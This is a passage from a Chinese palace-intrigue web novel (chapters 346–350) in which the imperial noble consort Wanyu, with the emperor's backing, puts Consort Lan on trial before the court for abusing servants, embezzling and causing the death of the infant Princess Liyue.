“已经在外面候着了。”小福子说,“胡大总管一大早就去叫了紫苏姑娘和拾翠姑娘过来。” “他倒是贴心。”祁让自己先坐起来,又去拉晚余,“起床了,朕的皇贵妃。” 晚余借着他的力道坐起来:“皇上打算什么时候陪臣妾审问兰贵妃?” 祁让看了她一眼,沉吟道:“虽说今年免了百官朝贺,但朕还是要去祭祖的,再者来说,大年下的这样兴师动众也不太好,要不就过了初五再审吧!” 晚余一天都不想等,但他既然这么说了,晚余也没强求,点头道:“行吧,臣妾听皇上的。” 两人起床,洗漱更衣,用了早膳,一起去寿康宫给静安太妃拜年。 静安太妃已经知道晚余昨夜歇在乾清宫,见两人结伴而来,气色都很不错的样子,心中很是宽慰,把两人好好夸奖了一番,又隐晦提醒祁让房事上不可太心急,要等晚余的身体恢复好了才行。 祁让尴尬不已,一面点头应是,一面偷偷去看晚余。 晚余比他还尴尬,接收到他的目光,狠狠瞪了他一眼。 祁让没忍住笑了出来。 晚余一下子红了脸,转过头不再理他。 静安太妃看看这个,看看那个,笑得眼睛都没了。 随后,各宫妃嫔结伴而来,给静安太妃拜年,又给祁让和晚余拜年。 庄妃现在看到晚余就害怕,知道晚余在这儿,愣是吓得没敢带嘉华公主过来。 祁让还要去祭祖,和众人说了几句话便匆匆而去,临行前对晚余说:“你昨晚没睡好,等会儿回去补个觉,朕忙完了就去看你。” 在他看来平平常常的一句话,又让众妃嫔打翻了醋坛子。 但今时不同往日,她们就算再吃醋,也不敢在晚余面前阴阳怪气了。 以前最爱阴阳晚余的康嫔,早已被乱棍打死,剩下的人,哪怕最嚣张跋扈的兰贵妃,也要被晚余压上一头。 兰贵妃实在咽不下这口气,全程板着脸,心中暗恨没有早点把晚余弄死。 早知道这贱婢有一天会踩到她头上,她岂能容她活到今天。 她就该和她那个短命的女儿一起下地狱。 晚余无视她的愤怒,和贤贵妃愉快地聊天,夸贤贵妃会调教人,教出来的拾翠非常能干。 像是怕庄妃受了冷落,又特地提了一嘴,说庄妃宫里的玉蝉也很能干,和拾翠两人是她的左膀右臂。 这两个人,也是唯二的进了乾清宫没有被来喜和胡尽忠审问过的人。 那些被审问过的人,晚余也没有把她们送走,留下来分配到各处去干活。 胡尽忠说她们到底是别的宫里送来的,叫晚余千万小心提防。 晚余无所谓,只要能干活就行,她不在乎她们忠不忠心。 再者来说,她们都已经把自家旧主卖得一干二净,难道还指望旧主把她们要回去吗? 只怕出了承乾宫,就要被旧主弄死灭口。 所以,对于现在的她们来说,承乾宫反倒是最安全的。 兰贵妃送去的那个二等丫头,私下里都求过她好几回了,求她千万别把她送回去,送回去只有死路一条。 晚余有时也觉得自己这招太损,可她现在已经管不了那么多。 在这吃人的深宫里,心善的人没有活路。 从寿康宫回去后,晚余打发胡尽忠去司礼监请徐清盏。 她想问问徐清盏知不知道祁让手上的伤是怎么回事。 胡尽忠去的快,回来的也快,说徐清盏不在司礼监,陪着祁让去祭祖了。 晚余实在好奇,就把祁让受伤的事和胡尽忠讲了,让他帮忙分析一下到底是怎么回事。 胡尽忠听完吃了一惊,转着三角眼想了又想,突然倒吸一口气:“皇上该不会是受不了打击,情志失常了吧?” 晚余心里咯噔一下:“为什么这么说?” 胡尽忠说:“情志失常的人会自残,娘娘说皇上手腕上新伤叠旧伤,试问除了他自己,谁能伤得了他?” 晚余也跟着倒吸一口气:“你是说那些伤口是皇上自己割的?” 胡尽忠忙竖起食指嘘了一声:“奴才瞎说的,娘娘随便听听,千万别当真,更不要轻易去向皇上求证,万一皇上受刺激对你发疯就不好了。” 晚余想到祁让发现自己偷看他伤口时的表现,心扑通扑通快跳了几下。 那一刻的祁让,可不就是发疯了吗? 要不是自己苦苦哀求,他可能就,就那什么了。 晚余攥了攥自己酸痛的右手,心想他疯起来确实挺可怕的,并且还持续了那么久。 要不还是算了吧,自己就好生哄着他帮忙把梨月的事情查清楚,别的事就别瞎打听了。 那人要真疯起来,她可招架不住。 这样想着,她便没再去管祁让的伤,耐着性子等初五。 祁让答应她过了初五就和她一起审讯兰贵妃,初五那天,她需要再和他确认一下,免得他又临时变卦。 她怕祁让发疯,决定白天去见祁让,得到祁让的准话之后就立刻告退,坚决不能留在乾清宫过夜。 谁知人算不如天算,初五那天,祁让一大早就出宫去了,直到天擦黑才回来。 晚余望眼欲穿地等了一天,终于等到祁让回来的消息,却又开始望而却步,不知道到底要不要去见他。 思来想去,正事要紧,还是硬着头皮去了。 守门的侍卫被胡尽忠骂过一回之后,再也不敢为难晚余,见她过来,直接伸手请她进去。 这会子功夫,天已经完全黑了,晚余畅通无阻地到了正殿,殿门外,孙良言和小福子都在,晚余说要见祁让,孙良言就让小福子进去通传。 晚余等在外面,问孙良言:“皇上出去了一整天,在外面都干什么了?” 孙良言看着她,神色复杂地摇摇头:“娘娘恕罪,皇上的行踪奴才不便相告,但娘娘不要担心,是好事。” “好事?”晚余观他脸色,一点也不像有好事发生的样子,猜想他可能又在哄她。 反正她现在也不指望从他嘴里听到什么实话,于是便没再追问,淡淡回了一句:“那就好。” 小福子很快出来,对晚余说祁让在寝室等她。 晚余道了声“辛苦”,便独自走了进去。 寝殿里的灯烛不甚明亮,祁让已经换了寝衣,正背对着她站在床前。 晚余走过去叫了一声“皇上”。 祁让像是突然被惊醒一样,蓦地转过身。 看到晚余的瞬间,突然展开双臂将她抱住,结结实实地抱了个满怀。 晚余吓一跳,本能地想挣脱。 “别动!”祁让声音暗哑带着恳求,“别动,晚余,让朕抱一抱,朕现在很需要你。” 晚余身子一僵,想到胡尽忠的猜测,不敢再动,小心翼翼问他:“皇上怎么……” 最后一个字尚未出口,祁让突然捧起她的脸,急切的,热烈的,没有任何征兆的吻住了她的唇。 第346章 可不可以纯睡觉 晚余的话被堵在嘴里,变成含糊不清的呜呜声。 祁让仿佛要将所有的力气都倾注在她身上,她躲不开,也挣不脱,被动地承受着他的疯狂,有种被榨干的窒息感。 她想到胡尽忠的猜测,感觉这人可能真的情志失常了。 看他这动不动就失控的行为,好像病情还挺严重。 看来梨月的事对他打击确实很大。 思及此,晚余心中五味杂陈,伸手抱住他,在他后背轻拍了几下。 梨月是他们共同的孩子,她能理解他的感受。 如果他们是正常的夫妻,面对这样的丧子之痛,还可以相互安慰,相互支撑。 可他们不是。 他们是两只刺猬,挨得近了只会刺伤对方。 所以他们只能各自疗伤。 祁让身子僵住,停下了亲吻的动作。 不知道是不是他的错觉,晚余好像在安抚他。 她居然会安抚他? 这对于他来说,简直比下雨天看到太阳还要难得。 他甚至想,是不是自己太累了,出现了幻觉。 晚余并没有安抚他,或者晚余根本就没来,怀里的这个人,是他想象出来的。 因为他现在需要她,所以就想象她在他身边。 其实她根本不在,此刻的她,说不定正在承乾宫睡觉。 “晚余?”他叫了她一声,双臂死死将她抱住,压进自己怀里,想留住这虚幻的一刻。 晚余的骨头差点被他勒断,不得不出声抗议:“皇上是要勒死臣妾吗?” 她居然会说话。 看来不是幻觉。 祁让放松了力道,双手在她单薄的后背游移抚摸:“晚余,真的是你,你怎么来了,你是特地来看朕的吗?” 晚余:“……” 难道不是小福子通传之后得到他的允许才放自己进来的吗? 亲了半天,差点没把她憋死,最后才来一句真的是你吗? 这不是有病是什么? 晚余觉得自己没必要和一个病人计较,扶着他在床沿坐下,用难得温和的语气问他:“皇上这么晚回来,可用过饭了?” 祁让痴痴看她,眼都不敢眨,生怕一眨眼她就不见了。 “朕有点累了,没叫他们传膳,吃了一碗燕窝粥,喝了一碗药,也差不多饱了。” “哦,那皇上要不要喝点水?”晚余又问。 她知道这就是一句废话,但她实在也想不出别的废话了。 祁让摇摇头,认真回她:“服药的时候喝过了,再喝就胀肚子了。” “哦。”晚余点点头,试探着问他,“皇上方才怎么了?” “方才?”祁让脸色变了变,很快就恢复了正常,“方才怎么了,朕不是好好的吗?” 晚余:“……” 哪个好好的人会那样? 疯而不自知,就是真疯。 既然如此,她也别问了,趁着他这会儿清醒,赶紧把明天的事确定下来。 “皇上答应明天帮臣妾一起审讯兰贵妃的,您还记得吧?” 祁让看着她,半晌没说话。 就在晚余以为他要反悔的时候,他才幽幽道:“你大晚上的来找朕就是为了这事儿?” 晚余一个“是”字已经到了嘴边,突然灵机一动,又临时改了口:“皇上出去了一整天,臣妾放心不下,特地来看皇上的,想到这事就捎带着问了一句,皇上一言九鼎,就算臣妾不问,您也不会食言的,对吧?” 祁让:“……” 她不是情志失常了吗,怎么反倒比从前嘴甜了? 虽然能听出来是在哄他,但至少是个改变。 他愿意被她这样哄骗。 “朕没忘,朕记着呢,放心吧!”他拉过她的手,将她上下打量,“朕这几天忙,没顾上去看你,你有没有好好吃饭?” “有啊,臣妾每天都吃很多。”晚余说,“臣妾答应了徐清盏,每天都要长一斤肉。” 祁让皱了皱眉,神情变得古怪:“你好好吃饭就是为了他?他的话这么管用吗?” 晚余意识到自己说漏了嘴,顿时紧张起来,唯恐他下一刻就要发疯,连忙找补道:“不是,太医也叫臣妾多吃饭的,臣妾是为了自己的身体着想,臣妾如今已经是皇贵妃了,太瘦了没有气势,还怎么艳压群芳?” 她太紧张了,有点慌不择言,祁让被她逗得唇角上扬:“艳压群芳?你是想说震慑六宫吗?” “嗯,对……”晚余很是尴尬。 祁让正色道:“别听徐清盏的,你又不是小猪崽,一天一斤那还得了,一天半斤就差不多了。” 晚余:“……” 有什么区别吗? 算了,反正她已经得到了想要的答复,别的也懒得计较,赶紧离开才是正经。 “臣妾记下了,皇上既然累了,就早点歇息吧,臣妾不打扰了。”她抽出手,对祁让福身一礼,就要告退出去。 祁让抓住她的手腕将她拽进了怀里:“大晚上的跑来跑去不冷吗,你身子这么虚弱,万一着了风寒,正事儿都要耽误了。” 晚余婉言相拒:“没事的,臣妾回去喝碗姜汤就好了。” 祁让立时冷下脸:“宁愿喝姜汤都不愿和朕睡,朕这里是龙潭虎穴吗?人都说过河拆桥,你这还没过河呢,就想把桥拆了?” “臣妾没有……”晚余还要再争取,视线落在他缠着白布的手腕上,后面的话硬生生打住,妥协道,“臣妾留下也行,就是,可不可以纯睡觉?” 祁让本来是在吓唬她,听她这么说,差点破功,清了清嗓子道:“朕是那种没定力的人吗,只要你别招惹朕,朕绝对不碰你。” 晚余才不信他,被迫脱衣上了床,贴着里侧的墙睡下,躲瘟神一样躲着他。 祁让看着两人之间空出的缝隙,没好气道:“怎么,这里还有别人要来吗?” “……”晚余很是无语,只好又往他那边挪了挪。 祁让还是不满意,拍着那空隙,叫她再过来一点。 晚余就又挪过去一点。 祁让揶揄道:“边境那些部族要是像你这样礼貌就好了,两国永远打不起来。” 晚余无言以对,只得又挪了挪。 祁让实在不耐烦,伸手将她捞过来搂进了怀里,语气强硬道:“你只管这样睡,看朕会不会动你。” 晚余无奈,只好僵硬地躺在他怀里,心里只盼着他不要发疯就好。 “睡吧!”祁让挥手熄了灯,寝殿陷入一片黑暗。 晚余屏住呼吸等了一会儿,他还真没有乱动,没过多久,耳畔就响起了他均匀平稳的呼吸声。 看来他是真的累了。 晚余慢慢放松下来,闭上眼睛,在他怀里沉沉睡去。 她想,今晚是最后一次。 等她把害死梨月的幕后之人揪出来,就不用再和祁让虚与委蛇了。 到那时,如果祁让还不肯放过她,她就随梨月而去,给这糟烂的人生做个了结。 她死了,沈长安也能解脱了。 京中那么多爱慕沈小侯爷的名门闺秀,总有一个人能与他白头偕老的。 这一世,他们终究只能遗憾收场了。 第347章 你这条命我要定了 一觉醒来,天光大亮,晚余睁开眼睛,发现祁让不知何时已经穿戴整齐,正站在床前默默看她。 见她醒来,祁让微微弯下腰,似笑非笑地问她:“怎么样,朕说话算数吧?” 晚余不免有些难为情,红着脸嗯了一声。 祁让说:“朕这么守信,你不奖励朕一下吗?” “有什么好奖励的?”晚余反问他,“这不是皇上应该做的吗?” “……”祁让噎住,重重叹了口气,“起床吧,朕已经让人知会了静安太妃,让她把请安的妃嫔先留下,咱们用完早膳就过去。” 晚余有点激动,心脏怦怦快跳了几下:“这一次,皇上不会再包庇她吧?” 祁让深深看了她一眼,没有回答。 晚余的心一下子悬到了半空,激动也变成了忐忑。 如果祁让对兰贵妃还念着旧情,她的计划就没办法顺利进行。 所以,为了得到祁让的配合,她要不要提前给祁让交个底? 祁让会同意她那样做吗? 用过早膳,两人相伴去了寿康宫。 寿康宫里,各宫妃嫔都已经给静安太妃请过安。 静安太妃说,皇上和皇贵妃有事情要宣布,让她们在这里稍等片刻。 各宫妃嫔都紧张起来,直觉有大事即将发生。 至于什么事,她们隐约也能猜到一点,毕竟江晚余自从当上皇贵妃,就一直在调查梨月公主的死因,还逼着她们帮忙提供线索。 所以,今天这事儿十有八九和梨月公主有关。 如果梨月公主不是正常死亡,那就十有八九和兰贵妃有关。 兰贵妃背景强大,还曾和皇上诞育过皇长子。 虽说皇长子夭折了,但那也是皇上的第一个孩子,皇上对她终究与别个不同。 以往她屡屡犯错,皇上都看在皇长子的份上轻拿轻放,不知道这一次会怎样? 说起来,这东西十二宫,好像也只有江晚余能仗着皇上的宠爱和兰贵妃硬刚了,换了旁人,就算孩子真的死在她手里,最后也会不了了之。 长春宫里吃斋念佛的端妃,不就是个活生生的例子吗? 众人的目光全都有意无意地看向兰贵妃。 兰贵妃也不是傻子,别人能想到的,她自然也能想到。 或者说,自从江晚余向各宫主位讨要宫女的时候,她就已经察觉到危险的气息。 江晚余明面上以身体不适为由,谢绝各宫妃嫔去承乾宫给她请安,却又在暗中和各宫妃嫔单独见面,拿人家的秘密威胁人家给她提供线索,这些她都知道。 见了所有人,唯独不见她,这目的还不够明显吗? 可她又不是那些没家世没背景的低位妃嫔,她能在后宫屹立不倒,靠的也不是皇上的宠爱。 她深信,只要她父兄还在,皇上永远都会给她留三分情面。 江晚余想扳倒她,没那么容易。 兰贵妃无声冷笑,转头对侍立在背后的婢女小声交代了几句,让婢女把这边的情况传递出去。 兄长从西南边境回来过年,因着皇上今年不让官员进宫贺岁,她与兄长至今还没见面。 兄长若听闻她这边出事,一定会想办法保她的。 兄长常年为朝廷镇守边关,战功赫赫,她就不信,皇上还能拂了兄长的面子。 况且江晚余就算收集到她什么罪证,顶多是些陈芝麻烂谷子,她根本没什么好怕的。 正想着,外面有人高喊:“皇上驾到,皇贵妃驾到!” 众人忙收起心思,起身恭迎。 棉帘高高挑起,祁让一身明黄龙袍,携着晚余的手走了进来。 他平时走路总是龙行虎步,气势非凡,今天为了配合晚余,特地放慢了步调,但那慑人的压迫力却丝毫未减,所过之处,人人屏息静气。 兰贵妃说是不怕,看着两人一步一步靠近,也是不自觉屏住了呼吸,心一下子慌乱起来。 祁让和晚余走到静安太妃面前,给静安太妃行礼问安。 静安太妃免了两人的礼,等祁让和晚余在她身旁落了座,便开口直奔主题,问祁让有什么事要说。 祁让面色沉沉看向兰贵妃,也是直奔主题:“皇贵妃向朕检举,说梨月公主和二皇子的死都和你有关,朕想听听你怎么说?” 此言一出,整个大殿顿时静得落针可闻,所有人的目光全部齐刷刷看向兰贵妃。 兰贵妃饶是已经有了心理准备,也没想到祁让会这么直接,上来就给她扣了这么大一个罪名。 “臣妾冤枉,臣妾没有害过梨月公主和二皇子,皇上不要听信皇贵妃的一面之词。” 她起身下跪,面向祁让,委屈又愤恨:“臣妾自己也是失去过孩子的人,臣妾从来没有拿孩子的事攀扯任何人,怎么别人的孩子没了,却都来攀扯臣妾呢? 臣妾到底做错了什么,要平白承受这样的冤屈,难道这阖宫上下,就臣妾最好欺负吗? 皇上再怎么偏疼皇贵妃,也不能什么都听她的吧?” 祁让说:“这么大的事,朕不会听信任何人的一面之词,朕之所以把后宫众人都召集过来,就是要给你辩解的机会。 如果你认为自己是冤枉的,就和皇贵妃当面说清楚,如果事实证明的确是你干的,你也不要寄希望于你的父兄能保你平安。 到那个时候,谁也保不住你,你裴氏满门都会被你连累。” 兰贵妃并没有被他唬住,只觉得难过:“臣妾入宫七年,对皇上一心一意,敬之爱之,从没想过有一天会以被告的身份面对皇上。 皇上纵然再不喜欢臣妾,也不该让臣妾受这样的屈辱,她江晚余自己都是罪臣之女,有什么资格审问臣妾?” “姐姐此言差矣。”贤贵妃在旁边插了一句,“后宫尊卑看的不是出身,而是位分,皇贵妃是六宫之首,怎么没资格审问姐姐? 姐姐说得委屈,可知单凭你不敬重皇贵妃,直呼皇贵妃大名这一条,皇上就可以治你的罪了?” 兰贵妃蓦地转过头,恶狠狠瞪了她一眼:“你给本宫闭嘴,本宫说话,轮不到你插嘴!” 贤贵妃不气不恼,脸上甚至还带着笑:“我与姐姐平起平坐,怎么就不能说话了,姐姐当着皇上和太妃的面尚且如此嚣张跋扈,可见平时对待其他人是什么做派。” “你……” 兰贵妃顿时气得粉面通红,恨不得过去给她一巴掌。 “好了,你冷静一下。”静安太妃及时出声叫住了她,“皇贵妃是六宫之首,皇上让她问话再正常不过,你有冤屈就说出来,一直发火有什么用?” 兰贵妃被静安太妃提醒,回过味来,强压心中怒火,憋屈地看向晚余: “梨月的事着实与我无关,倘若我有什么让娘娘怀疑的地方,请娘娘明示,我自会一一解释。” 晚余静静看她,神情无悲无喜。 片刻后,才缓缓开口道:“兰贵妃,我曾经受过你的恩惠,也曾经受过你的磋磨,哪怕你日日夜夜盼我死,我都念着你那点恩情,从未对你起过杀心,可你千不该,万不该,不该对我的孩子下手,你可以否认,也可以狡辩,但是今天,你这条命我要定了!” 第348章 不着急,慢慢来 晚余的话一出口,殿中又静了几分,各宫妃嫔都坐直了身子,平静的外表下藏着难以抑制的激动与期待。 兰贵妃向来目空一切,此时却被晚余波澜不惊的一番话震慑了心神,心里一阵发虚。 她挺了挺腰背,强自镇定道:“本宫身正不怕影子斜,娘娘非要说我残害皇嗣,就请拿出切实的证据来,空口白牙就想把脏水往我头上泼,我是不会认的。” “不着急,你犯的罪不止残害皇嗣这一桩,咱们慢慢来。” 晚余招手叫来胡尽忠,让他把这些天收集到的兰贵妃的罪行当众宣读。 除了残害皇嗣之外,还有虐杀宫人,克扣宫人份例,借管理六宫之便中饱私囊,欺压妃嫔,挑唆妃嫔之间内斗,收买太监窥探禁中,泄露皇帝私密等罪行。 等胡尽忠读完之后,晚余将那张纸要过来,逐条去问兰贵妃: “虐杀宫人这条有没有冤枉你? 你进宫七年,被你当众杖杀的宫人就有三个,送去慎刑司严刑拷打致死的有七个,还有一些不明不白被你换掉的人,他们都去了哪里?” 兰贵妃冷笑一声,显然没把奴才的死当回事:“本宫治下严明,见不得不听话的奴才,你只知道本宫打死了他们,怎知他们犯了什么错?” “本宫当然知道。”晚余说,“宫人们私下里都是有往来,有交情的。 前些日子,各宫姐妹送给本宫的那些宫女,都是宫里的老人儿。 被你严惩致死或者失踪的宫人,她们大多认识,有的甚至是亲戚,是好朋友。 你若认为本宫冤枉了你,本宫现在就让她们进来与你当面对质。 让皇上和太妃亲耳听一听,究竟是那些人犯了不可饶恕的罪,还是你兰贵妃草菅人命,滥杀无辜。” 兰贵妃脸色变了几变,嘴硬道:“那些下贱之人,没有资格与本宫对质,本宫就算认下这条又如何,宫里每年不知道要死多少人,难道本宫身为贵妃,打杀几个奴才都不行吗?” “那好。” 晚余微微点头,面色仍旧平静,“既然这条你认下了,咱们就接着往下说,克扣宫人份例,借职务之便中饱私囊,这一条你认不认?” 兰贵妃是个急性子,见她这样慢条斯理,不疾不徐地问下去,心里说不上来是烦躁还是别的什么,不安的感觉越来越强烈。 “本宫没有……” 她开口就要否认,被晚余打断:“你怕不是忘了,如今是本宫在管理六宫,你以前的那些账目,本宫早已命人重新盘过。 内务府八个擅长计算的太监,没日没夜地整理了七天,对不上的烂账装了三大箱,他们现在就抬着箱子在殿外听候传唤,你若不服,本宫立刻叫他们进来与你当面对账。” 兰贵妃的心突突直跳,眼神飘忽地看向门口,又看向祁让:“皇上……” 祁让面沉如水,目光如炬:“开弓没有回头箭,事情到了这一步,没有中途叫停的道理,你有什么说什么,没做的就不要承认,做过的也别试图隐瞒,否则朕也帮不了你。” 兰贵妃脸色逐渐变得苍白,再没了一开始的自信与傲慢。 她没想到江晚余短短几天就查到这么多,这样的话,就算她的父兄能保她性命,也不可能保她全身而退了。 她这个贵妃之位,恐怕也保不住了。 “臣妾虽然管理六宫,但那些账目也不是个个都经臣妾之手,或许是底下人做了手脚也未可知,臣妾承认有失察之罪……” “你不是治下严明吗,怎么又失察了?”晚余啪一拍几案,厉声打断了她,“一个不听话的奴才都能被你杖杀,怎么有人在你眼皮子底下贪墨了这么多银钱,你竟然毫无察觉?” 兰贵妃被她突然的喝问吓得一哆嗦,张口结舌答不上来。 晚余抬手吩咐胡尽忠:“叫内务府把账册抬进来。” 胡尽忠躬身应是,激动地搓了搓手,憋屈了这么久,终于可以扬眉吐气一回,这让他很是兴奋。 谁知他刚迈出一步,兰贵妃就大声道:“不必了,本宫认了!” 胡尽忠很是失望,只得又退回到晚余身旁,端起茶盏递给晚余:“娘娘喝口水润润嗓子吧!” 晚余接过茶盏,喝了两口,又递还给他,重新拿起那张纸:“欺压妃嫔这一条,还要本宫给你举例吗,本宫还是江采女的时候,就被你和康嫔当众杖责,差点没命,这事你总记得吧?” “……”兰贵妃恨恨地磨了磨牙,后悔那时候没能把她打死。 如果那时候就打死了她,自己也不会沦落到今天这步田地。 “那次的事,皇上已经惩罚过本宫,你又何必再翻旧账。” 晚余点头:“好,这账我可以不翻,挑唆妃嫔内斗这条,你认是不认?” “我……” 兰贵妃开口正要否认,庄妃抢先一步跪在了地上:“臣妾自首,皇贵妃娘娘怀着梨月公主的时候,兰贵妃曾挑唆臣妾,说皇贵妃娘娘的孩子出生后,臣妾的孩子就要失宠了。 她给了臣妾一包泻药,让臣妾做成糖果给皇贵妃吃,臣妾一时昏了头,听信了她的话,就让嘉华把那颗糖给了皇贵妃。 还好当时皇上及时赶到,臣妾怕被皇上发现,自己把那颗糖吃了,臣妾有罪,请皇上和皇贵妃娘娘责罚。” 此言一出,殿中一片哗然。 兰贵妃瞪大眼睛看着庄妃,脸上血色全退。 “魏雪宁,你这个贱人,你竟敢出卖本宫!” 她实在忍不住,提着庄妃的名字破口大骂,“本宫是和你说了那样的话,但你敢说你自己内心没想她死? 你若当真心无杂念,岂是本宫三言两语能动摇的? 事到如今,你居然反咬本宫一口,你这个两面三刀,阴险卑鄙的贱人!” 她骂得倒是痛快,但也等于直接承认了自己的所作所为。 殿中众人都安静下来,神情复杂地看着她。 兰贵妃后知后觉地意识到不对,可话已出口,再无收回的可能。 她跪了半天,膝盖早已疼痛难忍,此时心理崩溃,当场瘫坐在地上。 “江晚余。”她叫着晚余的名字,惨白着脸和晚余对视,“我承认,以上这些我都承认,但我没有害端妃的孩子,也没有害你的孩子,我就算有罪,也罪不至死,你休想要我的命。” 第349章 到底是谁疯了 晚余没有和她争辩,语气平静道:“不着急,你先缓一缓,本宫已经让人去请端妃,让她和你当面对质。” “好啊,让她来,别说是她,就算天王老子来了,本宫也没杀她的孩子。” 兰贵妃说起这事,很是理直气壮,“二皇子死于先天哮喘,这是太医院全体太医下的论断。 皇上当时已经诏告前朝后宫为本宫正名,是她自己接受不了,得了癔症,非说是本宫害了她的孩子,就跟你一样……” 她伸手指向晚余,大声道:“你的孩子本就先天不足又早产,养不活再正常不过,你得了癔症,情志失常,整天幻想别人杀了你的孩子,说不定就是你自己杀的,你恨皇上,也恨那孩子是皇上的血脉……” “兰贵妃!” 祁让立时变了脸色,急急叫停了她。 兰贵妃呵呵一笑,破罐子破摔道:“皇上急什么,臣妾说错了吗,她不就是情志失常吗?说白了,她就是个疯子,皇上宠她,就陪着她演戏……” “你给朕闭嘴!” 祁让勃然大怒,拍案发出一声厉喝,吓的殿中众人齐齐打了个哆嗦,兰贵妃也乖乖闭了嘴,往下不敢再说。 晚余脑子嗡嗡直响,脸色发白地看向祁让:“什么意思,她说的是什么意思?” “别听她的,没有这回事。”祁让心慌地抓住她的手,用力握在掌心,“别人的话你都不要听,你只要相信朕就好。” “是啊娘娘,您要相信皇上,只有皇上不会害您。”胡尽忠也在旁边劝她,“兰贵妃巴不得娘娘出事,她的话最不可信,娘娘不要上她的当。” 晚余看看他,又看看祁让,感觉谁的话都不可信。 兰贵妃说孩子可能是她自己杀死的,这让她说不出的惶恐,后背阵阵发凉。 她怎么可能杀死自己的孩子呢? 她是恨祁让毁了她,一心想离开,怀孕的最初,她也确实不喜欢这个孩子,屡次想把孩子打掉。 可后来祁让答应她生下孩子就放她走,她就再也没动过打掉孩子的念头,并想方设法地保全孩子,唯恐孩子不能平安降生。 两百多个日夜,她们同呼吸,共心跳,孩子在她肚子里一天天长大,她纵然铁石心肠,也被慢慢软化。 梨月的降生是那样千难万险,差点要了她的命,她给她喂了奶,夜里搂着她睡,听到她的哭声心便揪成一团。 她们共同度过了一个月的时间,她看着她每天都在发生变化,从红彤彤,皱巴巴的一团,慢慢变得白嫩嫩,粉嘟嘟。 梨月是那样依恋她,不管哭得多伤心,一到她怀里就会安静下来。 而她只要一想到有一天会离开梨月,就会心如刀绞。 得知梨月死讯的那一刻,她恨不能随她而去。 这样的血脉相连,这样的母子情分,她怎么会舍得伤害她呢? 虎毒尚且不食子,就算她真的情志失常,也不可能会对自己的孩子下手。 她不信。 她死都不信。 她就算杀了自己,也不会伤害梨月一丝一毫…… “晚余。”祁让握紧她的手,忧心忡忡地叫她,生怕她下一刻就会失控发疯。 晚余回过神,竭力让自己冷静下来,赶走脑海中乱七八糟的念头。 她坚信自己不会伤害梨月,她今天坐在这里,就是为了找出害死梨月的凶手。 她要保持冷静,不能被任何人带偏。 她得把自己的计划按部就班地进行下去,谁都休想打乱她的节奏。 她深呼吸,把自己的手从祁让手里抽出来:“臣妾没事,臣妾不相信皇上,更不会相信她,臣妾只相信自己。” 祁让定定看她,仿佛通过她的眼睛,看到了她内心的挣扎与坚持。 她明明如此脆弱,却又如此坚强。 她脆弱的时候,仿佛风一吹就散。 她坚强的时候,世间一切困难都休想将她击垮。 纵然她跌倒一百次,也会第一百零一次爬起来,迎风而立,逆风而行。 这野草一样吹不折压不弯烧不尽的女人,叫他如何割舍得下? “娘娘,你再喝口水。”胡尽忠端起茶盏,小心翼翼递到晚余面前,很小声很小声地和她说,“娘娘您忘了吗,情志失常的是皇上,不是您,您别听兰贵妃胡说八道,皇上已经不正常了,您无论如何要挺住,否则咱就进行不下去了。” 晚余接过水喝了一口:“我知道,我没事,你去看看端妃怎么还没来。” “哦,好。”胡尽忠答应一声,向外走去。 静安太妃隔着祁让,问晚余要不要紧,若是累了或不舒服,可以先去她寝殿歇息一会儿。 晚余说自己没事,叫她不用担心。 其他妃嫔在祁让发火之后都噤了声,就连贤贵妃也不敢再贸然开口。 乌兰雅远远坐着,给晚余递了个安抚的眼神。 庄妃揭发兰贵妃后,一直在地上跪着,祁让和晚余没叫她起来,她只能等着。 她也不想这样,但她如果不站出来揭发兰贵妃,晚余就要把嘉华公主接到承乾宫小住。 为了女儿,她除了屈从,别无选择。 少顷,胡尽忠从外面回来,对晚余说端妃没来。 晚余有些意外,问为什么没来。 胡尽忠说:“端妃娘娘说时过境迁,她已经不想再追究,也不想再沾染世俗的一切,希望所有人都把她忘了,以后不要再去打扰她。” 晚余听完,半晌没有说话。 兰贵妃撇嘴嗤笑一声:“什么不想追究,分明就是她自己知道冤枉了本宫,没脸来和本宫对质。” 晚余定了定神,缓缓道:“她不来没关系,没有她,你也休想逃脱责任。” “好啊,那就请娘娘拿出证据来吧!”兰贵妃一副成竹在胸的样子,仿佛笃定了晚余抓不到她的任何把柄。 晚余对胡尽忠说:“请徐掌印进来!” 胡尽忠再次领命而去,不大一会儿,领着身穿大红绣金蟒袍的徐清盏走了进来。 在他们身后,另有司礼监的太监押着七八个人鱼贯而入。 殿中众人都朝那几个人看过去,见他们有男有女,衣着都很普通,想必是徐清盏从宫外寻到的人证,不禁都替兰贵妃捏了一把汗。 整个紫禁城,除了皇上,也只有江晚余能使唤得动徐清盏了。 徐清盏一出手,谁还跑得了? 既然他连证人都带来了,想必已经十拿九稳,兰贵妃这回怕是要栽了。 兰贵妃看到那几个人时,瞬间变了脸色。 总共八个人,居然有四个是她家的家奴,其中一个还是她家的老管家裴忠。 兰贵妃吃惊地站了起来:“裴忠,你们怎么会来,我父亲和兄长呢,他们知不知道你们被人带走?” “大小姐。”裴忠叫了她一声,往下还没说,徐清盏一记眼风扫过来,就吓得他闭了嘴。 “咱家还没向皇上和皇贵妃说明情况,贵妃娘娘就迫不及待要串供了吗?”徐清盏走过来,对着兰贵妃冷冰冰说道。 兰贵妃被他冷冽的气场震慑,下意识往后退了一步:“本宫什么都没做,为何要串供,你公然跑到本宫家里抓人,经过皇上允许了吗?” “娘娘这话说的,皇上不允许,臣怎么敢随便抓人?”徐清盏的语气俨然已经给她判了死刑,“事到如今,娘娘不会还在心存侥幸,以为你父兄能保你平安吧?” 兰贵妃的身子踉跄了一下,瞬间面如死灰:“你什么意思,你把本宫的父亲和兄长怎么样了?” 徐清盏冷冷看了她一眼,没有回她的话,迈步走到祁让面前,躬身行礼:“皇上,臣已查实,皇贵妃出宫那天,在宫门口遇到的送香烛纸钱的车夫,以及穿孝衣的侍卫,都和兰贵妃的娘家有关联。 给梨月公主喂奶的奶娘,也是兰贵妃一个远房表嫂家的亲戚,她说她是受了兰贵妃的指使,每天服下少量的热毒,再通过乳汁将热毒传给梨月公主……” “胡说,你胡说……”兰贵妃不等他说完,就疯了似的打断了他,“什么车夫,什么侍卫奶娘,本宫一个都不认识,本宫也从未指使谁毒害公主,徐清盏,你不要血口喷人诬陷本宫,本宫没做的事,绝对不会承认。” 第350章 做鬼也不会放过你 “铁证如山,由不得娘娘不承认。” 徐清盏无视兰贵妃的疯癫,淡淡回了一句,从袖中取出那几人的供词呈给祁让,并将每份供词对应的证人逐个指给他看。 